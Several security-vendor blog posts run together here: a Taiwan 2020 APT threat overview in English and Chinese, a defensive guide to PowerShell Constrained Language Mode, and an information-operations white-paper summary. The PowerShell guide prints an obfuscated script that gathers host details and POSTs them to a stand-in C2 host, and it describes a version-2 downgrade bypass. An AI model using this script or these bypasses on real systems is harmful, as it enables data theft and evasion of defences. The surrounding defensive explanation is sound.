Another interesting phenomenon would be COVID-19 related cyber-attacks. Soon after the outbreak of COVID-19 pandemic, we observed state sponsored actors collecting intelligence for the pandemic. In the second half of 2020, threat actors shifted their focus to chasing COVID-19 vaccine information with the advance of COVID-19 vaccine development. In Taiwan, TeamT5 also intercepted several spear phishing emails using COVID-19 as lure theme or even more campaigns related to healthcare related entities. We believe the trend will continue as long as the COVID-19 pandemic still exists.

TeamT5 Intelligence Team had analyzed around one hundred APT attacks from China in 2020. Our statistic shows government and military agencies are still the biggest target and attacks against them counts for more than 1/4 in total and almost every APT groups that are active in Taiwan are coveting them. This trend has lasted for long since the ultimate goal of Chinese espionage operation is to obtain confidential national information. Information Technology (IT) industry also got attention a lot by APT actors and TeamT5 has observed a dramatical increase of attacks against IT industry. We believe this phenomenon is a result of threat actors’ attempts to abuse supply chain attacks and IT companies are considered to be good hopping points by actors to access various industries.

The third industry being targeted in 2020 is Energy industry and TeamT5 had observed at least attacks from 5 adversary groups. It could be a sign of our adversaries’ ambitions to control our critical industries because they will be top priorities of sabotages in wartime. Education or think tanks have been long ranked as the most attacked victims because they tend to involve in classified research projects hosted by governments or political decision makings. There were several targeted attacks against companies in semiconductor industries. It makes sense since Semiconductor industry is listed as a priority to be fostered by Chinese authority in their thirteen and fourteen Five-Year projects. Cyber espionage was also adopted as a mean to improve their techniques. Healthcare and transportation are also two industries that got coveted by APT actors. As we mentioned in the previous paragraph, COVID-19 could be an incentive for APT actors to attack Healthcare industries. Lastly, we would like to raise a phenomenon TeamT5 observed: There was an adversary group which we called GouShe (a.k.a TroppicTropper, Keyboy) focus on infiltrating Transportation related entities in Taiwan. More than 70% of transportation related cases we observed were from this specific group.

![0510-1.png](https://legacy-uploads.teamt5.org/0510_1_bceb3b6be1.png)
_2020 APT target industries distribution_

 

TeamT5 has tracked activities from at least 9 APT groups and 8 of them are from China. HUAPI (a.k.a BlackTech/PLEAD) was definitely the most ambitious group in Taiwan. Their attacks counts around 30% of incidents we analyzed and the targeting scope includes almost all the industries we listed. The supply chain attacks we mentioned in previous paragraphs were also conducted by them. APT27 (a.k.a EmissaryPanda, IronTiger, LuckyMouse, BronzeUnion), GouShe and AMOEBA (a.k.a APT41, Barium, Winnti) are groups that are quite active in 2020. APT27 was mostly attacking government, healthcare, and financial entities. GouShe showed a peculiar interest in transportation related entities while their footprints are also observed in energy and government entities. TeamT5 has tracked this group for many years. Our research shows that the actors might bear some responsibility from their higher commands to monitor some critical infrastructure facilities in Taiwan and take control of them in case of emergency status.

AMOEBA attacked energy companies, semiconductor companies, educational institutes, and IT companies. Their primary goal appears to be more for intellectual property or secret theft. But the possibilities exist that the actor might further leverage their achievement, like what they did in the ransom-attack in May. SLIME1, SLIME9 and SLIME13 are temporary code names for three Chinese APT campaigns against Taiwan that have lasted for a few years. Their activities still continued in 2020. Polaris (a.k.a MustangPanda) is another Chinese APT group that attacked almost all neighboring countries of China. We intercepted several of their spear phishing emails against government and research institutes in early stage of COVID-19 and we surmise they were gathering for information related to pandemic. One last interesting discovery: we discovered some Linux based malware used by Lazarus, a notorious North Korean APT group, circulated in Taiwan but we are unable to obtain the victim identity information. Although Taiwan is not a primary target of North Korean APT. But the Lazarus actors are believed to bear financial supporting responsibilities for their government agencies. For example, Lazarus is believed to be the culprit behind a Taiwanese bank SWIFT heist in 2017 [4]. The sample we uncovered might suggest their activities still exist in Taiwan.

![0510-2.png](https://legacy-uploads.teamt5.org/0510_2_a0a7b82a23.png)
_Adversaries attacking Taiwan in 2020_

 

## Conclusion

The purpose of this article is to provide a high-level overview of APT threat landscape of Taiwan in 2020, since TeamT5 believes knowing your enemy is the first step of effective defense. TeamT5 research shows that APT attacks keep evolving to become very complex and impossible for a security product to defend. TeamT5 has a cyber threat intelligence (CTI) centered solution, [ThreatVision](https://teamt5.org/en/products/threatvision/), and we rely on a dedicated team of security experts to keep us steps ahead of threat actors. Feel free to contact TeamT5 in case you want to know more about our products, solutions or discuss about threats you are facing.

> Contact us: [https://teamt5.org/en/request-information/](https://teamt5.org/en/request-information/)

 

### Reference

[1] https://www.ithome.com.tw/news/139331

[2] https://www.slideshare.net/codeblue_jp/cb19-resistance-is-futilethe-undefendable-supplychain-attack-by-sungting-tsai-linda-kuo

[3] https://www.youtube.com/watch?v=1KXb-sf_wos

[4] https://www.reuters.com/article/us-cyber-heist-north-korea-taiwan-idUSKBN1CL2VO

APT Threat Landscape of Taiwan in 2020

**By TeamT5 杜浦數位安全 技術長 李庭閣 Charles Li**

2020 年被公認為充滿混亂與災禍的一年。各式各樣的大事件諸如新冠肺炎、中亞東歐台海等地的地緣政治衝突、英國脫歐、美國總統大選都將世界各地的人們帶向跟過去截然不同的生活。TeamT5 在過去一年中持續幫助受到國家力量支持的針對性攻擊行動（或稱 APT 攻擊）所受害的單位。同時間 TeamT5 的威脅情資團隊也主動追蹤 APT 攻擊者的各類行蹤。跟真實世界相比較，網路世界的混亂情況並不亞於我們於現實世界所見，同時網路世界的衝突有很大一部份是真實世界的映射或延伸。本篇文章將探討 TeamT5 在 2020 年所觀察到的台灣威脅態勢。

在本篇文章中，我們首先會為您介紹我們在 2020 年所觀察到的重大趨勢，包含了：

- APT 攻擊的演進，網路間諜不再是唯一的攻擊手段
- 供應鏈攻擊成為 2020 年 APT 攻擊的主要攻擊方式之一
- 由新冠肺炎所引發的網路攻擊

接著我們會針對所觀察到的攻擊行動進行分析，試圖以產業別以及攻擊族群視角來進行網路威脅情資的剖析。文章的最後則是我們對如何應對網路攻擊不斷變化的建議作為總結。

 

## 網路間諜不再是唯一的攻擊手段

2020 年所公開的網路攻擊中，影響最深遠的當數中國 APT 攻擊者於五月時針對多個能源產業公司所進行的勒索軟體攻擊 [1]。TeamT5 研究顯示，這是一個來自中國惡名昭彰的 APT 攻擊族群，規畫已久的攻擊行動。這個行動究竟是攻擊者單純以獲取金錢為目的所發起的勒索行動，抑或是以勒索軟體為掩護的政治嚇阻行動（時值 520 台灣總統上任前），背後的答案依舊成謎。無論如何，本次的攻擊行為已為中國對台 APT 攻擊行動劃下新的里程碑：中國 APT 已針對台灣進行二十年以上的攻擊，但行動範圍都維持在竊取機密為目的而進行的網路間諜行動，這次攻擊意味著攻擊者將開始採用更多元的戰術來對台灣進行網路打擊行動。

另一個發生在 PTT BBS 論壇上的攻擊行動可以佐證我們的臆測：在 2020 年七月，TeamT5 追蹤了一連串的 BBS 爆料貼文，試圖詆毀台灣政府與軍方的形象，攻擊者使用了多個境外跳板 IP 位址來試圖隱藏他們的來源，然而 TeamT5 的情資資料庫顯示，其中一個來源 IP 曾被某個鎖定台灣已久的 APT 攻擊族群所使用；無獨有偶，我們也獲得某訊息來源指出，該 APT 族群正是隱身在此次行動背後的攻擊者。我們相信這兩個事件正是一個警訊，告訴我們中國 APT 族群正在嘗試各種過去沒使用過的手法來做更多樣性的攻擊行動。

 

## 供應鏈攻擊成為 2020 年 APT 攻擊的主要攻擊方式之一

TeamT5 曾在過去示警過供應鏈攻擊手法的危險性 [2]，研究顯示它在 2020 年已經成為 APT 攻擊的一種主要入侵手法之一：2020 年十二月被揭露的 SolarWinds/SUNBURST 攻擊行動無疑是當前最成功的案例之一，受害目標包含了許多美國高層政府部門，全球前五百大公司，甚至數個資安廠商本身也在本次攻擊中被攻擊者攻陷，它的手法精細而行動縝密，以致於目前仍無法掌握整個攻擊全貌。在台灣，TeamT5 也觀察到至少三波的攻擊行動使用了類似的手法：攻擊者先針對服務供應商進行滲透，再進一步利用供應商的產品或服務當跳板來直接進入終端用戶，包含政府部門或其他各產業的公司。前兩波的攻擊行動已於八月間被法務部調查局所公開揭露 [3]，而第三波攻擊行動仍在調查中。我們目前已觀察到數十家甚至上百的台灣公私單位被這些行動所成功滲透，而且至少有三個來自中國的 APT 族群參與其中。

 

## 由新冠肺炎所引發的網路攻擊

第三個攻擊趨勢則為新冠肺炎所趨使的網路攻擊行動。隨著新冠肺炎疫情爆發數週內，TeamT5 就觀察到有國家支持的網路攻擊者開始疫情相關的情報蒐集；隨著時序進入下半年，攻擊者的目標開始轉向疫苗發展資訊的蒐集，可以看出網路攻擊行動隨著現實世界改變的趨勢。在台灣，TeamT5 也分析了數個以新冠疫情為主題所進行的攻擊行動，甚至有數波針對醫療相關部門的針對性攻擊行動。我們相信只要疫情尚未消散的一天，相關的攻擊行動就會持續進行。

TeamT5 威脅情資團隊在 2020 年分析了近百個來自中國的 APT 攻擊。統計結果顯示，政府和軍方部門仍為最大的攻擊目標，相對應的攻擊事件超過了總數的四分之一，幾乎每個在台灣地區有活動的 APT 族群都會嘗試攻擊相關部門，主要的原因在於 APT 的主要目標是獲取國家相關的機密情資。值得注意的是，針對資訊產業的攻擊在 2020 年躍升為第二大，顯示 APT 攻擊對資訊公司的高度興趣，主要的原因應與前述的供應鏈攻擊趨勢有關：這些資訊產業公司往往同時服務許多客戶並橫跨不同部門產業，攻陷這些資訊公司提供攻擊者一個絕佳的跳板來進一步滲透終端客戶。

能源產業是 2020 年被針對的第三大產業，TeamT5 觀察到至少有五個族群針對能源產業鏈中的多個部門進行滲透，我們認為這是一個徵兆，顯示敵人試圖控制台灣關鍵基礎設施的野心，因為這些部門在戰爭時期將會成為優先被癱瘓的目標。教育和智庫單位長久以來也名列 APT 攻擊目標排行榜中，相對應的攻擊數量在 2020 年位居第四名，主要的原因在於這些單位中的研究人員往往參與了政府的研究計畫或是政策制定。半導體產業是我們觀察到第五大被針對的目標，由於中國官方將半導體明定為十三五和十四五計畫中重點扶植的產業，這些攻擊應為有計劃性的網路間諜活動，目的在於竊取台灣相關的智慧財權或產業機密。醫療和運輸產業也是兩個在 2020 年被中國 APT 重點性針對的目標產業，如同前述，我們相信新冠肺炎可能是一個趨使攻擊者針對醫療產業的主要因素；交通相關產業部份，TeamT5 觀察到一個值得注意的現象：有一個我們稱為 GouShe（亦稱為 TroppicTropper、Keyboy）的 APT 族群特別針對台灣的交通運輸相關部門進行滲透，2020 年間的相關攻擊事件有七成以上均來自該族群。

![0510-1.png](https://legacy-uploads.teamt5.org/0510_1_bceb3b6be1.png)
_2020 年 APT 攻擊目標產業分佈_

 

TeamT5 於 2020 年間共追蹤了至少九個 APT 族群的攻擊行動，當中有八個是來自中國。HUAPI（亦稱為 BlackTech、PLEAD）是所有族群中最具野心的一群，他們的攻擊行動佔了我們所觀察到總數近三成，而且攻擊目標幾乎涵蓋了上述的所有產業。我們在前面所提到的台灣供應鏈攻擊行動他們也都有參與。APT27（亦稱 EmissaryPanda、IronTiger、LuckyMouse、BronzeUnion）、GouShe 和 AMOEBA（亦稱 APT41、Barium、Winnti）也是在 2020 年攻擊台灣的數個主要攻擊來源族群：據 TeamT5 研究，APT27 主要攻擊政府、醫療和金融相關單位和產業。GouShe 近一、兩年的攻擊行動，展現了針對交通運輸部門和產業的高度興趣，同時我們也在能源和政府單位觀察到他們的蹤跡，TeamT5 針對此族群追蹤了近十年，研究結果顯示該族群可能接受所屬單位指令來監控台灣的關鍵基礎設施，並可能在關鍵時刻針對這些單位進行控制和接管。

AMOEBA 在過去一年間主要攻擊目標包含了能源、半導體產業，教育智庫單位和資訊產業，從攻擊目標推斷，他們的主要目的偏向於智財和產業機密竊取，但我們不排除攻擊者會嘗試利用攻擊獲取成果進行二次利用，如同他們在五月間所進行的勒索攻擊行動一樣。SLIME1、SLIME9、SLIME13 是 TeamT5 對三個中國 APT 攻擊行動的暫時行動代稱，我們在近幾年都有持續觀察到他們的行動。Polaris（亦稱 MustangPanda）則是一個針對幾乎中國鄰近國家的 APT 族群，我們在三、四月間發現有多個來自他們的釣魚信件針對台灣政府和研究單位進行攻擊，我們推測他們試圖蒐集新冠肺炎相關疫情資訊。最後，我們在台灣也有發現一個由北韓 APT 族群 Lazarus 所使用的 Linux 後門工具，但沒有進一步資訊可以確認受害者身份資訊，雖然台灣在政治上並非北韓 APT 的主要攻擊目標，但由於 Lazarus 族群被公認肩負為北韓政府籌措財源的責任，舉例來說，2017 年發生在台灣銀行的 SWIFT 系統攻擊事件就是由 Lazarus 所為，此樣本也許是一個顯示 Lazarus 仍持續在台灣地區有活動跡象的警訊。

![0510-2.png](https://legacy-uploads.teamt5.org/0510_2_a0a7b82a23.png)
_2020 年間攻擊台灣的 APT 族群_

 

## 結語

TeamT5 相信認識敵人是有效對抗針對性攻擊的第一步，而本文章主要針對 2020 年間所觀察到的 APT 網路攻擊態勢，提供一個概觀說明。TeamT5 威脅情資研究顯示 APT 攻擊手法持續進化，真正高端複雜的行動已經不可能由單一個資安產品做有效的防護。TeamT5 [ThreatVision](https://teamt5.org/tw/products/threatvision/) 是一個以網路威脅情資為核心概念的防護方案，同時我們有一群專業的專家分析師持續做研究來讓我們持續領先於攻擊者的腳步。

> 如果您希望進一步了解我們的資安產品、解決方案或是想跟我們討論您所面臨的網路威脅，我們誠摯歡迎您與我們聯絡：[https://teamt5.org/tw/request-information/](https://teamt5.org/tw/request-information/)

 

### 參考資料

[1] https://www.ithome.com.tw/news/139331

[2] https://www.slideshare.net/codeblue_jp/cb19-resistance-is-futilethe-undefendable-supplychain-attack-by-sungting-tsai-linda-kuo

[3] https://www.youtube.com/watch?v=1KXb-sf_wos

[4] https://www.reuters.com/article/us-cyber-heist-north-korea-taiwan-idUSKBN1CL2VO

2020 年台灣 APT 網路攻擊態勢

## What is Constrained Language Mode and Why it Matters

When PowerShell was [first announced in 2006](https://betanews.com/2006/11/14/windows-powershell-1-0-released/), it was meant to be a flexible command-line shell that features an easy-to-understand yet advanced scripting engine for IT admins. Fast forward to (almost) a decade and a half later, PowerShell has caught up in popularity and has superseded the now-legacy `cmd.exe` in current Windows 10 releases.

However, PowerShell has also been weaponized heavily over the past decade. There is an abundance of PowerShell-based samples all over public sandboxes, and [APTs are known to abuse it whenever possible](https://attack.mitre.org/techniques/T1059/001/). The advanced scripting engine is often utilized to launch fileless/in-memory attacks or [use it as a way around AMSI](https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/). In this post, we will be focusing on a lesser-known feature that can be used to combat this threat: Language Mode.

PowerShell was launched with an option to change its ["Language Mode"](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.2). This Language Mode option allows the user to switch between syntaxes allowed or disallowed. By default, all PowerShell sessions are launched with `FullLanguage`, which permits all the available syntaxes and cmdlets at runtime. There are four total language modes available: `FullLanguage`, `RestrictedLanguage`, `NoLanguage` and finally `ConstrainedLanguage`. In today's topic, we are here to focus on the `ConstrainedLanguage` mode introduced in PowerShell 3.0.

 

### Safer PowerShell Environment

First off, let's take a look at what Microsoft Docs says about the `ConstrainedLanguage` mode:

> - All cmdlets in Windows modules, and other UMCI-approved cmdlets, are fully functional and have complete access to system resources, except as noted.
> - All elements of the PowerShell scripting language are permitted.
> - All modules included in Windows can be imported and all commands that the modules export run in the session.
> - In PowerShell Workflow, you can write and run script workflows (workflows written in the PowerShell language). XAML-based workflows are not supported and you cannot run XAML in a script workflow, such as by using Invoke-Expression -Language XAML. Also, workflows cannot call other workflows, although nested workflows are permitted.
> - The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.
> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.
> - Users can get all properties of allowed types. Users can set the values of properties only on Core types. Only the following COM objects are permitted:
> - Scripting.Dictionary
> - Scripting.FileSystemObject
> - VBScript.RegExp

 

#### No Arbitrary C# Code via Add-Type

> The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.

Many PowerShell-based exploits rely on .NET-based language compilation via `Add-Type` - and that's already thrown out the window by disallowing arbitrary C# code compilation.

![202101-1.png](https://legacy-uploads.teamt5.org/202101_1_38111256c4.png)

 

#### Non-whitelisted Types are Prohibited

> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.

In laymen's terms, every non-whitelisted type and its methods/properties are blocked from execution. Classes such as `System.Reflection.Assembly`/`System.Convert`/`System.Runtime.CompilerServices` and many more are out-of-reach for threat actors, making code injection or fileless attacks that rely on additional PEs much more difficult.

![202101-2.png](https://legacy-uploads.teamt5.org/202101_2_ec73ef8561.png)

 

### Prohibit Complex Scripts from Executing

Given the above limitations, this does mean that legitimate complex scripts may not be able to execute correctly. For instance, if your organization uses a script that utilizes WinForm or WPF (Windows Presentation Framework), those will not work at all.

![202101-3.png](https://legacy-uploads.teamt5.org/202101_3_80ad190a95.png)

Consequentially, modules are affected by this whitelisting system as well. Modules that rely on created types or non-whitelisted type calls will not load properly.

![202101-4.png](https://legacy-uploads.teamt5.org/202101_4_aa876d7833.png)

Therefore, it is crucial to **double-check your organization's scripts** (if you have any) *before* enrolling this policy to your endpoints.

 

### Require Explicit Feature Enrollment

Since, by default, this language mode is an opt-in feature, the user would either have to call `$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"` at the beginning of each session or add `__PSLockdownPolicy` to the system environment variables (**DO NOT** do this for production. [See the section below](#beware-of-pslockdownpolicy). Neither of which is ideal and should only be used for debugging, unit testing, or for general testing purposes only.

Instead, the administrator(s) of your organization should deploy via WDAC (Windows Defender Application Control) on Windows 10+ *or* via AppLocker on Windows 7+. When implemented this way, the attacker will first have to bypass WDAC or AppLocker before gaining full control of a standard PowerShell session. A guideline regarding the deployment for individual or mass number of endpoints can be found under the [Application Control for Windows](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control) article on Microsoft Docs.

 

### Effective Against Scripts, not Standard Cmdlets

It must be made clear that merely enabling Constrained Language Mode is not enough to mitigate the risks PowerShell can bring. While restricting users to a lower-privileged language mode ensures no custom .NET assemblies or code can be executed, this does not stop attackers from crafting malicious scripts from the built-in cmdlets alone. For example, an attacker may still be able to craft a script that collects relevant intel about the computer and send it back to their C2 station.

The following, as an example, will continue to run fine under a PowerShell session with Constrained Language mode enabled.

```ps1
Start-Job -ScriptBlock {
 while($true){
 # MAC address collection
 .("{1}{3}{2}{0}" -f 'ariable', 'S', 't-V', 'e') -Name ("{1}{0}" -f 'ata', 'd') -Value (.("{3}{2}{0}{1}" -f 'Ada', 'pter', 'Net', 'Get-') | .("{1}{0}" -f 'ect', 'sel') ("{1}{0}{3}{2}" -f 'erfac', 'Int', 's', 'eAlia'), ("{0}{1}{2}" -f 'MacA', 'd', 'dress') | &("{3}{2}{0}{1}" -f 'r', 'tTo-Json', 'e', 'Conv') -Compress) > $null
 # OSs + username collection
 .("{2}{0}{1}" -f '-', 'Variable', 'Set') -Name ("{0}{1}" -f 'd', 'ata') -Value (${D`ATa} + (.("{0}{2}{3}{1}" -f 'Ge', 'nce', 't-CimInst', 'a') ("{1}{0}{3}{2}" -f 'ting', 'Win32_Opera', 'em', 'Syst') | .("{0}{1}" -f 'se', 'lect') ("{0}{1}" -f 'na', 'me'), ("{1}{0}" -f 'me', 'CSNa') | &("{2}{3}{1}{0}{4}" -f 'o-Js', 'T', 'Conve', 'rt', 'on') -Compress)) > $null
 # WAN IP collection
 &("{0}{1}{2}{3}" -f 'Set-', 'Vari', 'abl', 'e') -Name ("{1}{0}" -f 'ta', 'da') -Value (${D`AtA} + ((.("{1}{0}" -f 'r', 'iw') -useb ("{1}{0}{2}" -f 'fig', 'ifcon', '.me') -user ("{0}{1}" -f 'cur', 'l'))."cO`NTe`Nt")) > $null
 # Saves data to a temporary file (usually this is done in-memory by threat actors, but in-memory execution purely based on existing cmdlets is either impossible or very difficult)
 .("{1}{0}{2}" -f '-Variabl', 'Set', 'e') -Name ('a') -Value ("$env:temp\$(New-Guid).txt")
 ${Da`Ta} | &("{1}{2}{0}" -f 'le', 'O', 'ut-Fi') ${a}
 # Compresses the file
 &("{3}{0}{2}{1}" -f 'ompr', 'Archive', 'ess-', 'C') -De "$a.zip" -Co ("{0}{1}" -f 'Op', 'timal') -Lit ${a}
 # Sends it back to the C2 station
 &("{1}{0}" -f 'r', 'iw') ("{0}{2}{3}{4}{1}" -f 'h', '00', 'ttp://evil', '.tld:', '80') -method ("{1}{0}" -f 'st', 'po') -body (.("{1}{0}{2}" -f 'Co', 'Get-', 'ntent') -Lit "$a.zip") > $null
 &("{2}{1}{0}" -f 'leep', 't-S', 'Star') -Seconds 2
 }
}
```

Additionally, attackers may still be able to call external resources to achieve their goal, such as achieving persistence via `schtask` or placing additional payloads under `shell:startup`. Remember, Constrained Language mode does **NOT** block most existing cmdlets from functioning; in other words, it limits what the threat actor has on their disposal, but does not mean that they cannot make do with vanilla cmdlets or standard Windows applications.

 

#### Beware of `__PSLockdownPolicy`

Aside from weaponizing existing cmdlets, if the admins had "enabled" the language feature via `__PSLockdownPolicy`, then it would be trivial for attackers with administrative privileges to restore the language policy. Let's take a look at what this environment variable actually does.

![202101-5.png](https://legacy-uploads.teamt5.org/202101_5_707aff90b6.png)

We'll see that it has brought us to the `SystemPolicy` class under the `wldpNativeMethods.cs` file. In various articles that reference this environment variable, they would instruct the administrator to set the `__PSLockdownPolicy` variable to `4`. A value of 4 corresponds with the `WLDP_LOCKDOWN_UMCIENFORCE_FLAG` constant, which indicates the enforcement of UMCI (User-mode Code Integrity).

![202101-6.gif](https://legacy-uploads.teamt5.org/202101_6_2a4f7bdb5c.gif)

The call's parent method happens to be named `GetDebugLockdownPolicy`, which indicates that this behavior was meant to be a debug feature, rather than something that should be in a production environment.

![202101-7.png](https://legacy-uploads.teamt5.org/202101_7_4f3622def2.png)

This theory is further backed up by the statement made by [Matt Graeber](https://twitter.com/mattifestation/status/921509830644269062), a renowned security researcher well-versed in WDAC. Further research also shows this behavior was mentioned by the PowerShell team in its [official post regarding Constrained Language Mode as well](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/):

> As part of the implementation of Constrained Language, PowerShell included an environment variable for debugging and unit testing called `__PSLockdownPolicy`. While we have never documented this, some have discovered it and described this as an enforcement mechanism. This is unwise because an attacker can easily change the environment variable to remove this enforcement. In addition, there are also file naming conventions that enable FullLanguage mode on a script, effectively bypassing Constrained Language.

It must be emphasized that administrators should **NOT** deploy this to their endpoints as a way to enable Constrained Language mode - and be extra mindful when reading through articles regarding security features.

 

### Compatibility with Legacy OSs

Another thing to consider before rolling this feature out to endpoints is legacy OSs. As mentioned at the beginning of this post, Constrained Language mode is only available on PowerShell 3.0 onwards - and Windows 7 ships with PowerShell 2.0 by default.

![202101-8.png](https://legacy-uploads.teamt5.org/202101_8_6103f884e7.png)

While it is possible to install WMF 5.1 on older systems such as Windows 7, these systems likely ship with PowerShell 2.0 as its core component as well, which is susceptible to *downgrade attacks*.

All the attacker needs to do is, instead of starting a standard PowerShell 5.1 session, spawn a PowerShell 2.0 session using `PowerShell.exe -Version 2`. Since `ConstrainedLanguage` mode doesn't exist in that version, it will simply fallback to using `FullLanguage`.

![202101-9.png](https://legacy-uploads.teamt5.org/202101_9_7d51c2552d.png)

This is much less of a problem on Windows 10, as PowerShell 5.1 is shipped with the system by default and 2.0 can be removed by using `Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root`. After then, any attempts to launch PowerShell v2 will result in an error message.

```text
PS C:\> powershell -v 2
Encountered a problem reading the registry. Cannot find registry key SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine. The Windows PowerShell 2 engine is not installed on this computer.
```

 

## Hypothetical Testing

To see how effective this mode is against hypothetical attacks, we ...

- gathered 141 recently-submitted unique PowerShell samples as of Jan 27th, 2021.
 - These samples were randomly chosen and were not handpicked (aside from picking out invalid samples that aren't `*.ps1` scripts) in any way.
- executed the scripts via `ls -File | %{start-job -scr {iex $args[0]} -arg $_.FullName}`.
- ran these samples on a system with `ConstrainedLanguage` mode enabled.
- ran these samples on a Windows 10 (build 19042) system with a non-elevated PowerShell session.
 - Elevation is taken out of the equation as attackers would have to escalate its privilege first, and by that point there will be bigger problems to worry about.

![202101-10.png](https://legacy-uploads.teamt5.org/202101_10_0e10676b7f.png)

 

In our testing,

- `ConstrainedLanguage` blocked ...
 - 100% (141/141) of the samples from executing properly.
 - ... as in reaching their intended goal of launching a TCP shell, loading its next-stage payload, creating usable persistence, etc.
 - 51% (72/141) of the samples that had attempted to create a non-whitelisted type.
 - 50% (71/141) of the samples that had attempted to invoke a method on non-whitelisted type.
 - 26.9% (38/141) of the samples that had attempted to convert a value into a non-whitelisted type.
 - 2.8% (4/141) of the samples that had attempted to set a property on a non-whitelisted type.
- `ConstrainedLanguage` failed to block ...
 - 0.7% (1/141) of the samples that had managed to create persistence entries.

 

## Conclusion

Since PowerShell is now [an integral part](https://support.microsoft.com/en-us/windows/powershell-is-replacing-command-prompt-fdb690cf-876c-d866-2124-21b6fb29a45f) of modern Windows OSs, sysadmins should not underestimate the risks that PowerShell can bring to the organization.

In the article, we went through the benefits and drawbacks of `ConstrainedLanguage` and how it performs in a hypothetical test. By enabling the engine feature, the risk of PowerShell-introduced exploitation is greatly lowered - if enrolled properly. Organizations should also consider whether or not the reduced availability of modules and or scripts is worth the tradeoff before enrolling this language policy.

 


*Image courtesy of [Pexels](https://www.pexels.com/)

A Deep Dive into PowerShell's Constrained Language Mode

PowerShellのConstrained Language（制約付き言語）モードに対する深い考察

在 TeamT5〈資訊戰白皮書〉的最後一部曲中，我們將呈現中國的資訊作戰（Information Operation）是如何瞄準全球社群媒體使用者。TeamT5 希望透過這系列白皮書，分享我們作為資安研究員，如何理解中國的社群操弄。

此份白皮書的前兩個章節，介紹中國檯面上與檯面下的行動。首先觀察中國在檯面上（overt operation）如何透過中國的官媒、大使館、外交官，在社群媒體創造自己的聲量。接著分析中國檯面下的行動（covert operation），進一步研究那些無法被輕易歸因的粉絲頁、內容農場與大量的僵屍帳號。最後一章將以 PTT 論壇上關於 Juiker 的假新聞攻擊為例，提出資訊戰當中，我們最擔心的 —— 由「進階持續性滲透威脅」（APT）發起的假新聞攻擊。

 
## 報告摘要

### 1. 中國持續透過官媒與外交官進行檯面上的社群操弄

中國的官媒、外交官、大使館是中國檯面上的主要行動者。這些行動者負責美化中國外在形象，以及散播對中國執政黨有利的論述。根據我們的觀察，這些帳號在西方社群媒體中都擁有大量的追蹤者，Facebook 粉絲頁中，追蹤數排名世界前 20 名的新聞媒體，第一名到第四名就是由中國官媒粉絲頁 CGTN、China Daily、People's Daily、Xinhua News 包辦。中國檯面上的社群操弄，主要針對位在美國、加拿大、澳洲等英語系國家的海外華人，並透過他們對當地的政治進行一定影響。
 
### 2. 檯面下的社群操弄持續在西方主流社群平台出沒

2020 年，西方主流社群平台 Facebook、Twitter、Google 等，都曾數次移除各自平台上與中國有關的假帳號。儘管平台方已如此頻繁地掃蕩，許多隱匿的行動者仍然在各大平台上出沒，那些曾遭移除的帳號背後，有行動者持續透過註冊新網域和帳號捲土重來。我們不斷觀察到許多可疑帳號，例如許多擁有中國管理員的粉絲頁，會搬運微博上的政治宣傳。更有甚者，我們發現許多配備精良的攻擊者，會自己架設網站和疑似是自動化產生的僵屍帳號，來協助中國政府攻擊香港抗爭者。
 
### 3. APT 攻擊者很可能參與了社群媒體上的資訊戰

我們擔心 APT 攻擊者很可能參與了社群媒體上的資訊戰。APT 通常是由一個國家所支持的駭客團體，以竊取機敏資料為主，APT 的攻擊者往往具備了強悍的網路攻擊手法與資源。然而，我們今年偵察到了一個可能是由 APT 攻擊者發動的假新聞攻擊。該事件發生在 2020 年七月，PTT 論壇八卦版上，開始有許多被盜用的帳號以假新聞攻擊台灣重要軍事單位，造謠台灣公務機關使用的 Juiker 通訊軟體遭駭，以及台灣重要軍事機關遭駭。我們透過搜索比對貼文與發文 IP，發現其中一個 IP 位址，符合某個中國 APT 曾經使用過的中繼站。
 
### 4. 威脅情資作為對抗資訊戰的重要環節

如同前述的分析脈絡，APT 與社群操弄的結合會讓防守方更加棘手。在棘手的防守環境中，唯有威脅情資（threat intelligence）可以提供即時的分析，評估攻擊者的攻擊手法、可疑的指標、以及造成的風險。而在快速更迭的社群媒體環境中，平台方與事實查核團體非常難找到證據，歸因大量散播的假新聞。我們認為唯有導入威脅情資，才能有效幫助政府單位、重要關鍵基礎設施與企業，對抗資訊戰。
 


若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。
 
 
追蹤 TeamT5 [Twitter](https://twitter.com/TeamT5_Official)，資安動態不漏接！

TeamT5〈資訊戰白皮書三部曲：中國的社群操弄〉

In the final part of our Information Operation White Paper, we will demonstrate China's Information Operations (InfoOps) targeting the global audience. The first part of the report displays a brief overview of its overt operations which are carried out by state media, embassies, and diplomats. Then we look into the covert operations, which can be observed in pro-China fan pages, content farms, and spam botnet. Last but not least, we provide the case study of "Operation Juiker" on Taiwan's largest forum PTT, which suggests the possibility of the APT (Advanced Persistent Threat) actors entering the threat landscape.

## Key Takeaways

### 1. China has escalated the level of overt InfoOps via state-media and diplomats.
 
 
Chinese state media, diplomats, and embassies are the main actors of Chinese overt InfoOps. They shoulder the task to polish the image of the regime and propagate the narrative of the Chinese Communist Party (CCP). It is noteworthy that their official accounts have obtained an unexpected number of followers in recent years. For instance, four Chinese state media are included in the top 20 most-followed pages on Facebook. Their main audience, apart from the Chinese citizens, are overseas Chinese diaspora, which many of them have rights to vote in countries such as the U.S., Canada, and Australia, thus having the ability to influence a country's politics.
 
 
### 2. Covert InfoOps remain active on Western social media platforms.
 
 
